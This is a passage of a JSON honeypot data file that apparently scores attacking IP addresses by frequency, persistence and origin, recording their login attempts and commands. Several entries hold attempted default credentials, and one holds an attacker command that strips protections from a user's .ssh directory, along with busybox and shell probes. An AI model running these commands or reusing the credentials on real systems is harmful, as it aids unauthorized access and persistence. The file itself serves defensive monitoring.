        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T05:34:01+00:00",
        "last_seen_30d": "2026-05-28T19:21:48.714000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 87,
        "Suricata": 46,
        "Honeytrap": 1
      }
    },
    "35.205.55.170": {
      "attack_count": 73,
      "first_seen": "2026-05-28T10:27:21.276Z",
      "last_seen": "2026-05-28T10:29:14.791Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 6003",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T10:27:21.276000+00:00",
        "last_seen_30d": "2026-05-28T10:30:24.414000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "139.180.157.219": {
      "attack_count": 68,
      "first_seen": "2026-05-03T10:29:55.804Z",
      "last_seen": "2026-05-03T11:25:11.122Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:29:55.804000+00:00",
        "last_seen_30d": "2026-05-03T11:36:53.508000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 66
      }
    },
    "46.62.157.119": {
      "attack_count": 66,
      "first_seen": "2026-05-05T01:14:08.117Z",
      "last_seen": "2026-05-28T19:35:01.378Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:14:08.117000+00:00",
        "last_seen_30d": "2026-05-28T19:36:02.675000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "90.58.125.105": {
      "attack_count": 66,
      "first_seen": "2026-05-23T08:29:50.686Z",
      "last_seen": "2026-05-23T14:02:35.471Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Flers",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:29:50.686000+00:00",
        "last_seen_30d": "2026-05-23T14:03:41.246000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 66,
        "Suricata": 33
      }
    },
    "216.59.16.40": {
      "attack_count": 54,
      "first_seen": "2026-05-16T20:35:11.648Z",
      "last_seen": "2026-05-31T00:47:40.842Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piedmont",
      "asn": 15085,
      "as_org": "Immedion, LLC",
      "threat_score": 43.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:35:11.648000+00:00",
        "last_seen_30d": "2026-05-31T00:48:41.826000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "46.55.211.4": {
      "attack_count": 54,
      "first_seen": "2026-05-12T00:10:31.637Z",
      "last_seen": "2026-05-31T12:16:51.155Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Kavarna",
      "asn": 34841,
      "as_org": "Lafy OOD",
      "threat_score": 46.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T00:10:31.637000+00:00",
        "last_seen_30d": "2026-05-31T12:17:58.860000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "160.30.142.221": {
      "attack_count": 50,
      "first_seen": "2026-05-27T17:07:05.453Z",
      "last_seen": "2026-05-27T17:12:29.621Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujrat",
      "asn": 142647,
      "as_org": "Nasstec Airnet Networks Private Limited",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T17:07:05.453000+00:00",
        "last_seen_30d": "2026-05-27T17:13:31.940000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.74.20.173": {
      "attack_count": 44,
      "first_seen": "2026-05-23T00:55:51.674Z",
      "last_seen": "2026-05-23T01:00:37.231Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:55:51.674000+00:00",
        "last_seen_30d": "2026-05-23T01:01:40.128000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "69.12.83.216": {
      "attack_count": 37,
      "first_seen": "2026-05-25T19:17:53.795Z",
      "last_seen": "2026-05-25T19:18:48.972Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "RPM",
        "admin",
        "monitor",
        "sshd",
        "support",
        "system",
        "ubnt"
      ],
      "passwords_attempted": [
        "OkwKcECs8qJP2Z",
        "RPM",
        "admin",
        "monitor",
        "sshd",
        "support",
        "ubnt"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Estonia",
      "country_code": "EE",
      "city": "Tallinn",
      "asn": 207083,
      "as_org": "Hostslim Ou",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T19:17:53.795000+00:00",
        "last_seen_30d": "2026-05-25T19:19:54.447000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 15
      }
    },
    "23.94.189.218": {
      "attack_count": 34,
      "first_seen": "2026-05-04T19:29:40.516Z",
      "last_seen": "2026-05-31T20:48:37.146Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 51.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T19:29:40.516000+00:00",
        "last_seen_30d": "2026-05-31T20:49:48.874000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "68.235.52.155": {
      "attack_count": 30,
      "first_seen": "2026-05-08T15:01:39.339Z",
      "last_seen": "2026-05-14T17:00:46.843Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:01:39.339000+00:00",
        "last_seen_30d": "2026-05-14T17:01:47.730000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "201.166.169.54": {
      "attack_count": 28,
      "first_seen": "2026-05-25T01:32:44.837Z",
      "last_seen": "2026-05-25T01:45:01.716Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": null,
      "asn": 7438,
      "as_org": "PEGASO PCS",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T01:32:44.837000+00:00",
        "last_seen_30d": "2026-05-25T01:46:08.664000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "120.48.106.235": {
      "attack_count": 25,
      "first_seen": "2026-05-09T16:42:22.949Z",
      "last_seen": "2026-05-12T22:27:40.530Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "teamspeak3"
      ],
      "passwords_attempted": [
        "rmb123456",
        "test123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T16:42:22.949000+00:00",
        "last_seen_30d": "2026-05-12T22:28:50.721000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 18
      }
    },
    "103.249.117.232": {
      "attack_count": 24,
      "first_seen": "2026-05-25T06:01:06.674Z",
      "last_seen": "2026-05-25T06:01:43.937Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151852,
      "as_org": "FUTE JOINT STOCK COMPANY",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T06:01:06.674000+00:00",
        "last_seen_30d": "2026-05-25T06:02:54.088000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "185.104.71.22": {
      "attack_count": 24,
      "first_seen": "2026-05-11T04:43:49.319Z",
      "last_seen": "2026-05-28T09:28:26.385Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lebanon",
      "country_code": "LB",
      "city": "Beirut",
      "asn": 48847,
      "as_org": "Waves S.a.l",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T04:43:49.319000+00:00",
        "last_seen_30d": "2026-05-28T09:29:32.456000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "144.31.158.199": {
      "attack_count": 21,
      "first_seen": "2026-05-22T10:54:23.638Z",
      "last_seen": "2026-05-22T10:57:34.871Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "linux",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 4.2,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 5,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T04:26:15.036000+00:00",
        "last_seen_30d": "2026-05-22T10:58:38+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 13
      }
    },
    "14.103.114.85": {
      "attack_count": 18,
      "first_seen": "2026-05-12T17:37:45.256Z",
      "last_seen": "2026-05-12T18:09:41.345Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "deploy",
        "root",
        "wesley"
      ],
      "passwords_attempted": [
        "Abcd@1234",
        "QAZwsx123!@#",
        "wesley"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T17:37:45.256000+00:00",
        "last_seen_30d": "2026-05-12T18:19:45.066000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "222.73.51.231": {
      "attack_count": 16,
      "first_seen": "2026-05-04T23:43:48.846Z",
      "last_seen": "2026-05-04T23:47:13.828Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:43:48.846000+00:00",
        "last_seen_30d": "2026-05-04T23:57:59.130000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "66.132.195.37": {
      "attack_count": 16,
      "first_seen": "2026-05-12T09:58:01.901Z",
      "last_seen": "2026-05-26T22:31:53.918Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 87.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T09:59:16+00:00",
        "last_seen_30d": "2026-05-30T09:31:47.682000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 33,
        "Cowrie": 16,
        "Sentrypeer": 1
      }
    },
    "159.69.215.108": {
      "attack_count": 15,
      "first_seen": "2026-05-28T17:22:56.479Z",
      "last_seen": "2026-05-28T17:23:02.540Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nuremberg",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T17:22:56.479000+00:00",
        "last_seen_30d": "2026-05-28T17:24:04.926000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 4
      }
    },
    "47.165.119.210": {
      "attack_count": 14,
      "first_seen": "2026-05-03T07:49:00.326Z",
      "last_seen": "2026-05-03T08:02:20.348Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New Fairfield",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:49:00.326000+00:00",
        "last_seen_30d": "2026-05-03T08:12:22.189000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "103.152.242.106": {
      "attack_count": 12,
      "first_seen": "2026-05-27T17:25:30.329Z",
      "last_seen": "2026-05-31T05:15:11.491Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 139456,
      "as_org": "PT DEWAWEB",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T17:25:30.329000+00:00",
        "last_seen_30d": "2026-05-31T05:16:20.214000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "151.75.124.55": {
      "attack_count": 10,
      "first_seen": "2026-05-23T09:19:44.437Z",
      "last_seen": "2026-05-23T11:43:15.953Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Giugliano in Campania",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:19:44.437000+00:00",
        "last_seen_30d": "2026-05-23T11:44:23.158000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "66.132.172.216": {
      "attack_count": 10,
      "first_seen": "2026-05-04T14:52:58.986Z",
      "last_seen": "2026-05-10T10:35:44.663Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 81.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T08:29:14+00:00",
        "last_seen_30d": "2026-05-31T05:43:21.558000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 88,
        "Honeytrap": 57,
        "Cowrie": 10
      }
    },
    "45.84.107.174": {
      "attack_count": 8,
      "first_seen": "2026-05-10T15:19:17.162Z",
      "last_seen": "2026-05-10T15:19:39.331Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 45.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.5,
        "persistence": 13.3,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 16,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-09T18:47:27+00:00",
        "last_seen_30d": "2026-05-24T01:28:47.983000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "H0neytr4p": 5
      }
    },
    "45.84.107.47": {
      "attack_count": 8,
      "first_seen": "2026-05-26T20:58:20.326Z",
      "last_seen": "2026-05-26T20:58:44.993Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
